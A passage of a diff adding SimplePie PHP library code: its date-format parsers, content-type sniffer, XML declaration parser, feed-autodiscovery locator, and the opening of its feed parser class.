+	 * Cached PCRE for SimplePie_Parse_Date::$day
+	 *
+	 * @access protected
+	 * @var string
+	 */
+	var $day_pcre;
+
+	/**
+	 * Cached PCRE for SimplePie_Parse_Date::$month
+	 *
+	 * @access protected
+	 * @var string
+	 */
+	var $month_pcre;
+
+	/**
+	 * Array of user-added callback methods
+	 *
+	 * @access private
+	 * @var array
+	 */
+	var $built_in = array();
+
+	/**
+	 * Array of user-added callback methods
+	 *
+	 * @access private
+	 * @var array
+	 */
+	var $user = array();
+
+	/**
+	 * Create new SimplePie_Parse_Date object, and set self::day_pcre,
+	 * self::month_pcre, and self::built_in
+	 *
+	 * @access private
+	 */
+	function SimplePie_Parse_Date()
+	{
+		$this->day_pcre = '(' . implode(array_keys($this->day), '|') . ')';
+		$this->month_pcre = '(' . implode(array_keys($this->month), '|') . ')';
+		
+		static $cache;
+		if (!isset($cache[get_class($this)]))
+		{
+			if (extension_loaded('Reflection'))
+			{
+				$class = new ReflectionClass(get_class($this));
+				$methods = $class->getMethods();
+				$all_methods = array();
+				foreach ($methods as $method)
+				{
+					$all_methods[] = $method->getName();
+				}
+			}
+			else
+			{
+				$all_methods = get_class_methods($this);
+			}
+		
+			foreach ($all_methods as $method)
+			{
+				if (strtolower(substr($method, 0, 5)) === 'date_')
+				{
+					$cache[get_class($this)][] = $method;
+				}
+			}
+		}
+		
+		foreach ($cache[get_class($this)] as $method)
+		{
+			$this->built_in[] = $method;
+		}
+	}
+	
+	/**
+	 * Get the object
+	 *
+	 * @access public
+	 */
+	function get()
+	{
+		static $object;
+		if (!$object)
+		{
+			$object = new SimplePie_Parse_Date;
+		}
+		return $object;
+	}
+
+	/**
+	 * Parse a date
+	 *
+	 * @final
+	 * @access public
+	 * @param string $date Date to parse
+	 * @return int Timestamp corresponding to date string, or false on failure
+	 */
+	function parse($date)
+	{
+		foreach ($this->user as $method)
+		{
+			if (($returned = call_user_func($method, $date)) !== false)
+			{
+				return $returned;
+			}
+		}
+		
+		foreach ($this->built_in as $method)
+		{
+			if (($returned = call_user_func(array(&$this, $method), $date)) !== false)
+			{
+				return $returned;
+			}
+		}
+
+		return false;
+	}
+
+	/**
+	 * Add a callback method to parse a date
+	 *
+	 * @final
+	 * @access public
+	 * @param callback $callback
+	 */
+	function add_callback($callback)
+	{
+		if (is_callable($callback))
+		{
+			$this->user[] = $callback;
+		}
+		else
+		{
+			trigger_error('User-supplied function must be a valid callback', E_USER_WARNING);
+		}
+	}
+
+	/**
+	 * Parse a superset of W3C-DTF (allows hyphens and colons to be omitted, as
+	 * well as allowing any of upper or lower case "T", horizontal tabs, or
+	 * spaces to be used as the time seperator (including more than one))
+	 *
+	 * @access protected
+	 * @return int Timestamp
+	 */
+	function date_w3cdtf($date)
+	{
+		static $pcre;
+		if (!$pcre)
+		{
+			$year = '([0-9]{4})';
+			$month = $day = $hour = $minute = $second = '([0-9]{2})';
+			$decimal = '([0-9]*)';
+			$zone = '(?:(Z)|([+\-])([0-9]{1,2}):?([0-9]{1,2}))';
+			$pcre = '/^' . $year . '(?:-?' . $month . '(?:-?' . $day . '(?:[Tt\x09\x20]+' . $hour . '(?::?' . $minute . '(?::?' . $second . '(?:.' . $decimal . ')?)?)?' . $zone . ')?)?)?$/';
+		}
+		if (preg_match($pcre, $date, $match))
+		{
+			/*
+			Capturing subpatterns:
+			1: Year
+			2: Month
+			3: Day
+			4: Hour
+			5: Minute
+			6: Second
+			7: Decimal fraction of a second
+			8: Zulu
+			9: Timezone Â±
+			10: Timezone hours
+			11: Timezone minutes
+			*/
+
+			// Fill in empty matches
+			for ($i = count($match); $i <= 3; $i++)
+			{
+				$match[$i] = '1';
+			}
+
+			for ($i = count($match); $i <= 7; $i++)
+			{
+				$match[$i] = '0';
+			}
+
+			// Numeric timezone
+			if (isset($match[9]) && $match[9] !== '')
+			{
+				$timezone = $match[10] * 3600;
+				$timezone += $match[11] * 60;
+				if ($match[9] === '-')
+				{
+					$timezone = 0 - $timezone;
+				}
+			}
+			else
+			{
+				$timezone = 0;
+			}
+
+			// Convert the number of seconds to an integer, taking decimals into account
+			$second = round($match[6] + $match[7] / pow(10, strlen($match[7])));
+
+			return gmmktime($match[4], $match[5], $second, $match[2], $match[3], $match[1]) - $timezone;
+		}
+		else
+		{
+			return false;
+		}
+	}
+
+	/**
+	 * Remove RFC822 comments
+	 *
+	 * @access protected
+	 * @param string $data Data to strip comments from
+	 * @return string Comment stripped string
+	 */
+	function remove_rfc2822_comments($string)
+	{
+		$string = (string) $string;
+		$position = 0;
+		$length = strlen($string);
+		$depth = 0;
+
+		$output = '';
+
+		while ($position < $length && ($pos = strpos($string, '(', $position)) !== false)
+		{
+			$output .= substr($string, $position, $pos - $position);
+			$position = $pos + 1;
+			if ($string[$pos - 1] !== '\\')
+			{
+				$depth++;
+				while ($depth && $position < $length)
+				{
+					$position += strcspn($string, '()', $position);
+					if ($string[$position - 1] === '\\')
+					{
+						$position++;
+						continue;
+					}
+					elseif (isset($string[$position]))
+					{
+						switch ($string[$position])
+						{
+							case '(':
+								$depth++;
+								break;
+
+							case ')':
+								$depth--;
+								break;
+						}
+						$position++;
+					}
+					else
+					{
+						break;
+					}
+				}
+			}
+			else
+			{
+				$output .= '(';
+			}
+		}
+		$output .= substr($string, $position);
+
+		return $output;
+	}
+
+	/**
+	 * Parse RFC2822's date format
+	 *
+	 * @access protected
+	 * @return int Timestamp
+	 */
+	function date_rfc2822($date)
+	{
+		static $pcre;
+		if (!$pcre)
+		{
+			$wsp = '[\x09\x20]';
+			$fws = '(?:' . $wsp . '+|' . $wsp . '*(?:\x0D\x0A' . $wsp . '+)+)';
+			$optional_fws = $fws . '?';
+			$day_name = $this->day_pcre;
+			$month = $this->month_pcre;
+			$day = '([0-9]{1,2})';
+			$hour = $minute = $second = '([0-9]{2})';
+			$year = '([0-9]{2,4})';
+			$num_zone = '([+\-])([0-9]{2})([0-9]{2})';
+			$character_zone = '([A-Z]{1,5})';
+			$zone = '(?:' . $num_zone . '|' . $character_zone . ')';
+			$pcre = '/(?:' . $optional_fws . $day_name . $optional_fws . ',)?' . $optional_fws . $day . $fws . $month . $fws . $year . $fws . $hour . $optional_fws . ':' . $optional_fws . $minute . '(?:' . $optional_fws . ':' . $optional_fws . $second . ')?' . $fws . $zone . '/i';
+		}
+		if (preg_match($pcre, $this->remove_rfc2822_comments($date), $match))
+		{
+			/*
+			Capturing subpatterns:
+			1: Day name
+			2: Day
+			3: Month
+			4: Year
+			5: Hour
+			6: Minute
+			7: Second
+			8: Timezone Â±
+			9: Timezone hours
+			10: Timezone minutes
+			11: Alphabetic timezone
+			*/
+
+			// Find the month number
+			$month = $this->month[strtolower($match[3])];
+
+			// Numeric timezone
+			if ($match[8] !== '')
+			{
+				$timezone = $match[9] * 3600;
+				$timezone += $match[10] * 60;
+				if ($match[8] === '-')
+				{
+					$timezone = 0 - $timezone;
+				}
+			}
+			// Character timezone
+			elseif (isset($this->timezone[strtoupper($match[11])]))
+			{
+				$timezone = $this->timezone[strtoupper($match[11])];
+			}
+			// Assume everything else to be -0000
+			else
+			{
+				$timezone = 0;
+			}
+
+			// Deal with 2/3 digit years
+			if ($match[4] < 50)
+			{
+				$match[4] += 2000;
+			}
+			elseif ($match[4] < 1000)
+			{
+				$match[4] += 1900;
+			}
+			
+			// Second is optional, if it is empty set it to zero
+			if ($match[7] !== '')
+			{
+				$second = $match[7];
+			}
+			else
+			{
+				$second = 0;
+			}
+
+			return gmmktime($match[5], $match[6], $second, $month, $match[2], $match[4]) - $timezone;
+		}
+		else
+		{
+			return false;
+		}
+	}
+
+	/**
+	 * Parse RFC850's date format
+	 *
+	 * @access protected
+	 * @return int Timestamp
+	 */
+	function date_rfc850($date)
+	{
+		static $pcre;
+		if (!$pcre)
+		{
+			$space = '[\x09\x20]+';
+			$day_name = $this->day_pcre;
+			$month = $this->month_pcre;
+			$day = '([0-9]{1,2})';
+			$year = $hour = $minute = $second = '([0-9]{2})';
+			$zone = '([A-Z]{1,5})';
+			$pcre = '/^' . $day_name . ',' . $space . $day . '-' . $month . '-' . $year . $space . $hour . ':' . $minute . ':' . $second . $space . $zone . '$/i';
+		}
+		if (preg_match($pcre, $date, $match))
+		{
+			/*
+			Capturing subpatterns:
+			1: Day name
+			2: Day
+			3: Month
+			4: Year
+			5: Hour
+			6: Minute
+			7: Second
+			8: Timezone
+			*/
+
+			// Month
+			$month = $this->month[strtolower($match[3])];
+
+			// Character timezone
+			if (isset($this->timezone[strtoupper($match[8])]))
+			{
+				$timezone = $this->timezone[strtoupper($match[8])];
+			}
+			// Assume everything else to be -0000
+			else
+			{
+				$timezone = 0;
+			}
+
+			// Deal with 2 digit year
+			if ($match[4] < 50)
+			{
+				$match[4] += 2000;
+			}
+			else
+			{
+				$match[4] += 1900;
+			}
+
+			return gmmktime($match[5], $match[6], $match[7], $month, $match[2], $match[4]) - $timezone;
+		}
+		else
+		{
+			return false;
+		}
+	}
+
+	/**
+	 * Parse C99's asctime()'s date format
+	 *
+	 * @access protected
+	 * @return int Timestamp
+	 */
+	function date_asctime($date)
+	{
+		static $pcre;
+		if (!$pcre)
+		{
+			$space = '[\x09\x20]+';
+			$wday_name = $this->day_pcre;
+			$mon_name = $this->month_pcre;
+			$day = '([0-9]{1,2})';
+			$hour = $sec = $min = '([0-9]{2})';
+			$year = '([0-9]{4})';
+			$terminator = '\x0A?\x00?';
+			$pcre = '/^' . $wday_name . $space . $mon_name . $space . $day . $space . $hour . ':' . $min . ':' . $sec . $space . $year . $terminator . '$/i';
+		}
+		if (preg_match($pcre, $date, $match))
+		{
+			/*
+			Capturing subpatterns:
+			1: Day name
+			2: Month
+			3: Day
+			4: Hour
+			5: Minute
+			6: Second
+			7: Year
+			*/
+
+			$month = $this->month[strtolower($match[2])];
+			return gmmktime($match[4], $match[5], $match[6], $month, $match[3], $match[7]);
+		}
+		else
+		{
+			return false;
+		}
+	}
+
+	/**
+	 * Parse dates using strtotime()
+	 *
+	 * @access protected
+	 * @return int Timestamp
+	 */
+	function date_strtotime($date)
+	{
+		$strtotime = strtotime($date);
+		if ($strtotime === -1 || $strtotime === false)
+		{
+			return false;
+		}
+		else
+		{
+			return $strtotime;
+		}
+	}
+}
+
+/**
+ * Content-type sniffing
+ *
+ * @package SimplePie
+ */
+class SimplePie_Content_Type_Sniffer
+{
+	/**
+	 * File object
+	 *
+	 * @var SimplePie_File
+	 * @access private
+	 */
+	var $file;
+	
+	/**
+	 * Create an instance of the class with the input file
+	 *
+	 * @access public
+	 * @param SimplePie_Content_Type_Sniffer $file Input file
+	 */
+	function SimplePie_Content_Type_Sniffer($file)
+	{
+		$this->file = $file;
+	}
+	
+	/**
+	 * Get the Content-Type of the specified file
+	 *
+	 * @access public
+	 * @return string Actual Content-Type
+	 */
+	function get_type()
+	{
+		if (isset($this->file->headers['content-type']))
+		{
+			if (!isset($this->file->headers['content-encoding'])
+				&& ($this->file->headers['content-type'] === 'text/plain'
+					|| $this->file->headers['content-type'] === 'text/plain; charset=ISO-8859-1'
+					|| $this->file->headers['content-type'] === 'text/plain; charset=iso-8859-1'))
+			{
+				return $this->text_or_binary();
+			}
+			
+			if (($pos = strpos($this->file->headers['content-type'], ';')) !== false)
+			{ 
+				$official = substr($this->file->headers['content-type'], 0, $pos);
+			}
+			else
+			{
+				$official = $this->file->headers['content-type'];
+			}
+			$official = strtolower($official);
+			
+			if ($official === 'unknown/unknown'
+				|| $official === 'application/unknown')
+			{
+				return $this->unknown();
+			}
+			elseif (substr($official, -4) === '+xml'
+				|| $official === 'text/xml'
+				|| $official === 'application/xml')
+			{
+				return $official;
+			}
+			elseif (substr($official, 0, 6) === 'image/')
+			{
+				if ($return = $this->image())
+				{
+					return $return;
+				}
+				else
+				{
+					return $official;
+				}
+			}
+			elseif ($official === 'text/html')
+			{
+				return $this->feed_or_html();
+			}
+			else
+			{
+				return $official;
+			}
+		}
+		else
+		{
+			return $this->unknown();
+		}
+	}
+	
+	/**
+	 * Sniff text or binary
+	 *
+	 * @access private
+	 * @return string Actual Content-Type
+	 */
+	function text_or_binary()
+	{
+		if (substr($this->file->body, 0, 2) === "\xFE\xFF"
+			|| substr($this->file->body, 0, 2) === "\xFF\xFE"
+			|| substr($this->file->body, 0, 4) === "\x00\x00\xFE\xFF"
+			|| substr($this->file->body, 0, 3) === "\xEF\xBB\xBF")
+		{
+			return 'text/plain';
+		}
+		elseif (preg_match('/[\x00-\x08\x0E-\x1A\x1C-\x1F]/', $this->file->body))
+		{
+			return 'application/octect-stream';
+		}
+		else
+		{
+			return 'text/plain';
+		}
+	}
+	
+	/**
+	 * Sniff unknown
+	 *
+	 * @access private
+	 * @return string Actual Content-Type
+	 */
+	function unknown()
+	{
+		$ws = strspn($this->file->body, "\x09\x0A\x0B\x0C\x0D\x20");
+		if (strtolower(substr($this->file->body, $ws, 14)) === '<!doctype html'
+			|| strtolower(substr($this->file->body, $ws, 5)) === '<html'
+			|| strtolower(substr($this->file->body, $ws, 7)) === '<script')
+		{
+			return 'text/html';
+		}
+		elseif (substr($this->file->body, 0, 5) === '%PDF-')
+		{
+			return 'application/pdf';
+		}
+		elseif (substr($this->file->body, 0, 11) === '%!PS-Adobe-')
+		{
+			return 'application/postscript';
+		}
+		elseif (substr($this->file->body, 0, 6) === 'GIF87a'
+			|| substr($this->file->body, 0, 6) === 'GIF89a')
+		{
+			return 'image/gif';
+		}
+		elseif (substr($this->file->body, 0, 8) === "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A")
+		{
+			return 'image/png';
+		}
+		elseif (substr($this->file->body, 0, 3) === "\xFF\xD8\xFF")
+		{
+			return 'image/jpeg';
+		}
+		elseif (substr($this->file->body, 0, 2) === "\x42\x4D")
+		{
+			return 'image/bmp';
+		}
+		else
+		{
+			return $this->text_or_binary();
+		}
+	}
+	
+	/**
+	 * Sniff images
+	 *
+	 * @access private
+	 * @return string Actual Content-Type
+	 */
+	function image()
+	{
+		if (substr($this->file->body, 0, 6) === 'GIF87a'
+			|| substr($this->file->body, 0, 6) === 'GIF89a')
+		{
+			return 'image/gif';
+		}
+		elseif (substr($this->file->body, 0, 8) === "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A")
+		{
+			return 'image/png';
+		}
+		elseif (substr($this->file->body, 0, 3) === "\xFF\xD8\xFF")
+		{
+			return 'image/jpeg';
+		}
+		elseif (substr($this->file->body, 0, 2) === "\x42\x4D")
+		{
+			return 'image/bmp';
+		}
+		else
+		{
+			return false;
+		}
+	}
+	
+	/**
+	 * Sniff HTML
+	 *
+	 * @access private
+	 * @return string Actual Content-Type
+	 */
+	function feed_or_html()
+	{
+		$len = strlen($this->file->body);
+		$pos = strspn($this->file->body, "\x09\x0A\x0D\x20");
+		
+		while ($pos < $len)
+		{
+			switch ($this->file->body[$pos])
+			{
+				case "\x09":
+				case "\x0A":
+				case "\x0D":
+				case "\x20":
+					$pos += strspn($this->file->body, "\x09\x0A\x0D\x20", $pos);
+					continue 2;
+				
+				case '<':
+					$pos++;
+					break;
+				
+				default:
+					return 'text/html';
+			}
+			
+			if (substr($this->file->body, $pos, 3) === '!--')
+			{
+				$pos += 3;
+				if ($pos < $len && ($pos = strpos($this->file->body, '-->', $pos)) !== false)
+				{
+					$pos += 3;
+				}
+				else
+				{
+					return 'text/html';
+				}
+			}
+			elseif (substr($this->file->body, $pos, 1) === '!')
+			{
+				if ($pos < $len && ($pos = strpos($this->file->body, '>', $pos)) !== false)
+				{
+					$pos++;
+				}
+				else
+				{
+					return 'text/html';
+				}
+			}
+			elseif (substr($this->file->body, $pos, 1) === '?')
+			{
+				if ($pos < $len && ($pos = strpos($this->file->body, '?>', $pos)) !== false)
+				{
+					$pos += 2;
+				}
+				else
+				{
+					return 'text/html';
+				}
+			}
+			elseif (substr($this->file->body, $pos, 3) === 'rss'
+				|| substr($this->file->body, $pos, 7) === 'rdf:RDF')
+			{
+				return 'application/rss+xml';
+			}
+			elseif (substr($this->file->body, $pos, 4) === 'feed')
+			{
+				return 'application/atom+xml';
+			}
+			else
+			{
+				return 'text/html';
+			}
+		}
+		
+		return 'text/html';
+	}
+}
+
+/**
+ * Parses the XML Declaration
+ *
+ * @package SimplePie
+ */
+class SimplePie_XML_Declaration_Parser
+{
+	/**
+	 * XML Version
+	 *
+	 * @access public
+	 * @var string
+	 */
+	var $version = '1.0';
+	
+	/**
+	 * Encoding
+	 *
+	 * @access public
+	 * @var string
+	 */
+	var $encoding = 'UTF-8';
+	
+	/**
+	 * Standalone
+	 *
+	 * @access public
+	 * @var bool
+	 */
+	var $standalone = false;
+
+	/**
+	 * Current state of the state machine
+	 *
+	 * @access private
+	 * @var string
+	 */
+	var $state = 'before_version_name';
+	
+	/**
+	 * Input data
+	 *
+	 * @access private
+	 * @var string
+	 */
+	var $data = '';
+
+	/**
+	 * Input data length (to avoid calling strlen() everytime this is needed)
+	 *
+	 * @access private
+	 * @var int
+	 */
+	var $data_length = 0;
+
+	/**
+	 * Current position of the pointer
+	 *
+	 * @var int
+	 * @access private
+	 */
+	var $position = 0;
+	
+	/**
+	 * Create an instance of the class with the input data
+	 *
+	 * @access public
+	 * @param string $data Input data
+	 */
+	function SimplePie_XML_Declaration_Parser($data)
+	{
+		$this->data = $data;
+		$this->data_length = strlen($this->data);
+	}
+
+	/**
+	 * Parse the input data
+	 *
+	 * @access public
+	 * @return bool true on success, false on failure
+	 */
+	function parse()
+	{
+		while ($this->state && $this->state !== 'emit' && $this->has_data())
+		{
+			$state = $this->state;
+			$this->$state();
+		}
+		$this->data = '';
+		if ($this->state === 'emit')
+		{
+			return true;
+		}
+		else
+		{
+			$this->version = '';
+			$this->encoding = '';
+			$this->standalone = '';
+			return false;
+		}
+	}
+
+	/**
+	 * Check whether there is data beyond the pointer
+	 *
+	 * @access private
+	 * @return bool true if there is further data, false if not
+	 */
+	function has_data()
+	{
+		return (bool) ($this->position < $this->data_length);
+	}
+	
+	/**
+	 * Advance past any whitespace
+	 *
+	 * @return int Number of whitespace characters passed
+	 */
+	function skip_whitespace()
+	{
+		$whitespace = strspn($this->data, "\x09\x0A\x0D\x20", $this->position);
+		$this->position += $whitespace;
+		return $whitespace;
+	}
+	
+	/**
+	 * Read value
+	 */
+	function get_value()
+	{
+		$quote = substr($this->data, $this->position, 1);
+		if ($quote === '"' || $quote === "'")
+		{
+			$this->position++;
+			$len = strcspn($this->data, $quote, $this->position);
+			if ($this->has_data())
+			{
+				$value = substr($this->data, $this->position, $len);
+				$this->position += $len + 1;
+				return $value;
+			}
+		}
+		return false;
+	}
+	
+	function before_version_name()
+	{
+		if ($this->skip_whitespace())
+		{
+			$this->state = 'version_name';
+		}
+		else
+		{
+			$this->state = false;
+		}
+	}
+	
+	function version_name()
+	{
+		if (substr($this->data, $this->position, 7) === 'version')
+		{
+			$this->position += 7;
+			$this->skip_whitespace();
+			$this->state = 'version_equals';
+		}
+		else
+		{
+			$this->state = false;
+		}
+	}
+	
+	function version_equals()
+	{
+		if (substr($this->data, $this->position, 1) === '=')
+		{
+			$this->position++;
+			$this->skip_whitespace();
+			$this->state = 'version_value';
+		}
+		else
+		{
+			$this->state = false;
+		}
+	}
+	
+	function version_value()
+	{
+		if ($this->version = $this->get_value())
+		{
+			$this->skip_whitespace();
+			if ($this->has_data())
+			{
+				$this->state = 'encoding_name';
+			}
+			else
+			{
+				$this->state = 'emit';
+			}
+		}
+		else
+		{
+			$this->state = 'standalone_name';
+		}
+	}
+	
+	function encoding_name()
+	{
+		if (substr($this->data, $this->position, 8) === 'encoding')
+		{
+			$this->position += 8;
+			$this->skip_whitespace();
+			$this->state = 'encoding_equals';
+		}
+		else
+		{
+			$this->state = false;
+		}
+	}
+	
+	function encoding_equals()
+	{
+		if (substr($this->data, $this->position, 1) === '=')
+		{
+			$this->position++;
+			$this->skip_whitespace();
+			$this->state = 'encoding_value';
+		}
+		else
+		{
+			$this->state = false;
+		}
+	}
+	
+	function encoding_value()
+	{
+		if ($this->encoding = $this->get_value())
+		{
+			$this->skip_whitespace();
+			if ($this->has_data())
+			{
+				$this->state = 'standalone_name';
+			}
+			else
+			{
+				$this->state = 'emit';
+			}
+		}
+		else
+		{
+			$this->state = false;
+		}
+	}
+	
+	function standalone_name()
+	{
+		if (substr($this->data, $this->position, 10) === 'standalone')
+		{
+			$this->position += 10;
+			$this->skip_whitespace();
+			$this->state = 'standalone_equals';
+		}
+		else
+		{
+			$this->state = false;
+		}
+	}
+	
+	function standalone_equals()
+	{
+		if (substr($this->data, $this->position, 1) === '=')
+		{
+			$this->position++;
+			$this->skip_whitespace();
+			$this->state = 'standalone_value';
+		}
+		else
+		{
+			$this->state = false;
+		}
+	}
+	
+	function standalone_value()
+	{
+		if ($standalone = $this->get_value())
+		{
+			switch ($standalone)
+			{
+				case 'yes':
+					$this->standalone = true;
+					break;
+				
+				case 'no':
+					$this->standalone = false;
+					break;
+				
+				default:
+					$this->state = false;
+					return;
+			}
+			
+			$this->skip_whitespace();
+			if ($this->has_data())
+			{
+				$this->state = false;
+			}
+			else
+			{
+				$this->state = 'emit';
+			}
+		}
+		else
+		{
+			$this->state = false;
+		}
+	}
+}
+
+class SimplePie_Locator
+{
+	var $useragent;
+	var $timeout;
+	var $file;
+	var $local = array();
+	var $elsewhere = array();
+	var $file_class = 'SimplePie_File';
+	var $cached_entities = array();
+	var $http_base;
+	var $base;
+	var $base_location = 0;
+	var $checked_feeds = 0;
+	var $max_checked_feeds = 10;
+	var $content_type_sniffer_class = 'SimplePie_Content_Type_Sniffer';
+
+	function SimplePie_Locator(&$file, $timeout = 10, $useragent = null, $file_class = 'SimplePie_File', $max_checked_feeds = 10, $content_type_sniffer_class = 'SimplePie_Content_Type_Sniffer')
+	{
+		$this->file =& $file;
+		$this->file_class = $file_class;
+		$this->useragent = $useragent;
+		$this->timeout = $timeout;
+		$this->max_checked_feeds = $max_checked_feeds;
+		$this->content_type_sniffer_class = $content_type_sniffer_class;
+	}
+
+	function find($type = SIMPLEPIE_LOCATOR_ALL)
+	{
+		if ($this->is_feed($this->file))
+		{
+			return $this->file;
+		}
+		
+		if ($this->file->method & SIMPLEPIE_FILE_SOURCE_REMOTE)
+		{
+			$sniffer = new $this->content_type_sniffer_class($this->file);
+			if ($sniffer->get_type() !== 'text/html')
+			{
+				return null;
+			}
+		}
+
+		if ($type & ~SIMPLEPIE_LOCATOR_NONE)
+		{
+			$this->get_base();
+		}
+
+		if ($type & SIMPLEPIE_LOCATOR_AUTODISCOVERY && $working = $this->autodiscovery())
+		{
+			return $working;
+		}
+
+		if ($type & (SIMPLEPIE_LOCATOR_LOCAL_EXTENSION | SIMPLEPIE_LOCATOR_LOCAL_BODY | SIMPLEPIE_LOCATOR_REMOTE_EXTENSION | SIMPLEPIE_LOCATOR_REMOTE_BODY) && $this->get_links())
+		{
+			if ($type & SIMPLEPIE_LOCATOR_LOCAL_EXTENSION && $working = $this->extension($this->local))
+			{
+				return $working;
+			}
+
+			if ($type & SIMPLEPIE_LOCATOR_LOCAL_BODY && $working = $this->body($this->local))
+			{
+				return $working;
+			}
+
+			if ($type & SIMPLEPIE_LOCATOR_REMOTE_EXTENSION && $working = $this->extension($this->elsewhere))
+			{
+				return $working;
+			}
+
+			if ($type & SIMPLEPIE_LOCATOR_REMOTE_BODY && $working = $this->body($this->elsewhere))
+			{
+				return $working;
+			}
+		}
+		return null;
+	}
+
+	function is_feed(&$file)
+	{
+		if ($file->method & SIMPLEPIE_FILE_SOURCE_REMOTE)
+		{
+			$sniffer = new $this->content_type_sniffer_class($file);
+			$sniffed = $sniffer->get_type();
+			if (in_array($sniffed, array('application/rss+xml', 'application/rdf+xml', 'application/atom+xml', 'text/xml', 'application/xml', 'text/plain')))
+			{
+				return true;
+			}
+			else
+			{
+				return false;
+			}
+		}
+		elseif ($file->method & SIMPLEPIE_FILE_SOURCE_LOCAL)
+		{
+			return true;
+		}
+		else
+		{
+			return false;
+		}
+	}
+
+	function get_base()
+	{
+		$this->http_base = $this->file->url;
+		$this->base = $this->http_base;
+		$elements = SimplePie_Misc::get_element('base', $this->file->body);
+		foreach ($elements as $element)
+		{
+			if ($element['attribs']['href']['data'] !== '')
+			{
+				$this->base = SimplePie_Misc::absolutize_url(trim($element['attribs']['href']['data']), $this->http_base);
+				$this->base_location = $element['offset'];
+				break;
+			}
+		}
+	}
+
+	function autodiscovery()
+	{
+		$links = array_merge(SimplePie_Misc::get_element('link', $this->file->body), SimplePie_Misc::get_element('a', $this->file->body), SimplePie_Misc::get_element('area', $this->file->body));
+		$done = array();
+		foreach ($links as $link)
+		{
+			if ($this->checked_feeds == $this->max_checked_feeds)
+			{
+				break;
+			}
+			if (isset($link['attribs']['href']['data']) && isset($link['attribs']['rel']['data']))
+			{
+				$rel = array_unique(SimplePie_Misc::space_seperated_tokens(strtolower($link['attribs']['rel']['data'])));
+
+				if ($this->base_location < $link['offset'])
+				{
+					$href = SimplePie_Misc::absolutize_url(trim($link['attribs']['href']['data']), $this->base);
+				}
+				else
+				{
+					$href = SimplePie_Misc::absolutize_url(trim($link['attribs']['href']['data']), $this->http_base);
+				}
+
+				if (!in_array($href, $done) && in_array('feed', $rel) || (in_array('alternate', $rel) && !empty($link['attribs']['type']['data']) && in_array(strtolower(SimplePie_Misc::parse_mime($link['attribs']['type']['data'])), array('application/rss+xml', 'application/atom+xml'))))
+				{
+					$this->checked_feeds++;
+					$feed =& new $this->file_class($href, $this->timeout, 5, null, $this->useragent);
+					if ($this->is_feed($feed))
+					{
+						return $feed;
+					}
+				}
+				$done[] = $href;
+			}
+		}
+		return null;
+	}
+
+	function get_links()
+	{
+		$links = SimplePie_Misc::get_element('a', $this->file->body);
+		foreach ($links as $link)
+		{
+			if (isset($link['attribs']['href']['data']))
+			{
+				$href = trim($link['attribs']['href']['data']);
+				$parsed = SimplePie_Misc::parse_url($href);
+				if ($parsed['scheme'] === '' || preg_match('/^(http(s)|feed)?$/i', $parsed['scheme']))
+				{
+					if ($this->base_location < $link['offset'])
+					{
+						$href = SimplePie_Misc::absolutize_url(trim($link['attribs']['href']['data']), $this->base);
+					}
+					else
+					{
+						$href = SimplePie_Misc::absolutize_url(trim($link['attribs']['href']['data']), $this->http_base);
+					}
+
+					$current = SimplePie_Misc::parse_url($this->file->url);
+
+					if ($parsed['authority'] === '' || $parsed['authority'] == $current['authority'])
+					{
+						$this->local[] = $href;
+					}
+					else
+					{
+						$this->elsewhere[] = $href;
+					}
+				}
+			}
+		}
+		$this->local = array_unique($this->local);
+		$this->elsewhere = array_unique($this->elsewhere);
+		if (!empty($this->local) || !empty($this->elsewhere))
+		{
+			return true;
+		}
+		return null;
+	}
+
+	function extension(&$array)
+	{
+		foreach ($array as $key => $value)
+		{
+			if ($this->checked_feeds == $this->max_checked_feeds)
+			{
+				break;
+			}
+			if (in_array(strtolower(strrchr($value, '.')), array('.rss', '.rdf', '.atom', '.xml')))
+			{
+				$this->checked_feeds++;
+				$feed =& new $this->file_class($value, $this->timeout, 5, null, $this->useragent);
+				if ($this->is_feed($feed))
+				{
+					return $feed;
+				}
+				else
+				{
+					unset($array[$key]);
+				}
+			}
+		}
+		return null;
+	}
+
+	function body(&$array)
+	{
+		foreach ($array as $key => $value)
+		{
+			if ($this->checked_feeds == $this->max_checked_feeds)
+			{
+				break;
+			}
+			if (preg_match('/(rss|rdf|atom|xml)/i', $value))
+			{
+				$this->checked_feeds++;
+				$feed =& new $this->file_class($value, $this->timeout, 5, null, $this->useragent);
+				if ($this->is_feed($feed))
+				{
+					return $feed;
+				}
+				else
+				{
+					unset($array[$key]);
+				}
+			}
+		}
+		return null;
+	}
+}
+
+class SimplePie_Parser
+{
+	var $error_code;
+	var $error_string;
+	var $current_line;
+	var $current_column;
+	var $current_byte;
+	var $separator = ' ';
+	var $feed = false;
+	var $namespace = array('');
+	var $element = array('');
+	var $xml_base = array('');
+	var $xml_base_explicit = array(false);
+	var $xml_lang = array('');
+	var $data = array();
+	var $datas = array(array());
+	var $current_xhtml_construct = -1;
+	var $encoding;
+
+	function parse(&$data, $encoding)
+	{
+		// Use UTF-8 if we get passed US-ASCII, as every US-ASCII character is a UTF-8 character
+		if (strtoupper($encoding) == 'US-ASCII')
+		{
+			$this->encoding = 'UTF-8';
+		}
+		else
+		{
+			$this->encoding = $encoding;
+		}
+
+		// Strip BOM:
+		// UTF-32 Big Endian BOM
+		if (substr($data, 0, 4) === "\x00\x00\xFE\xFF")
+		{
+			$data = substr($data, 4);
+		}
+		// UTF-32 Little Endian BOM
+		elseif (substr($data, 0, 4) === "\xFF\xFE\x00\x00")
+		{
+			$data = substr($data, 4);
+		}
+		// UTF-16 Big Endian BOM
+		elseif (substr($data, 0, 2) === "\xFE\xFF")
+		{
+			$data = substr($data, 2);
+		}
+		// UTF-16 Little Endian BOM
+		elseif (substr($data, 0, 2) === "\xFF\xFE")
+		{
+			$data = substr($data, 2);
+		}
+		// UTF-8 BOM
+		elseif (substr($data, 0, 3) === "\xEF\xBB\xBF")
+		{
+			$data = substr($data, 3);
+		}
+		
+		if (substr($data, 0, 5) === '<?xml' && strspn(substr($data, 5, 1), "\x09\x0A\x0D\x20") && ($pos = strpos($data, '?>')) !== false)
+		{
+			$declaration = new SimplePie_XML_Declaration_Parser(substr($data, 5, $pos - 5));
+			if ($declaration->parse())
+			{
+				$data = substr($data, $pos + 2);
+				$data = '<?xml version="' . $declaration->version . '" encoding="' . $encoding . '" standalone="' . (($declaration->standalone) ? 'yes' : 'no') . '"?>' . $data;
+			}
+			else
+			{
+				$this->error_string = 'SimplePie bug! Please report this!';
+				return false;
+			}
+		}
+		
+		$return = true;
+
+		// Create the parser
+		$xml = xml_parser_create_ns($this->encoding, $this->separator);
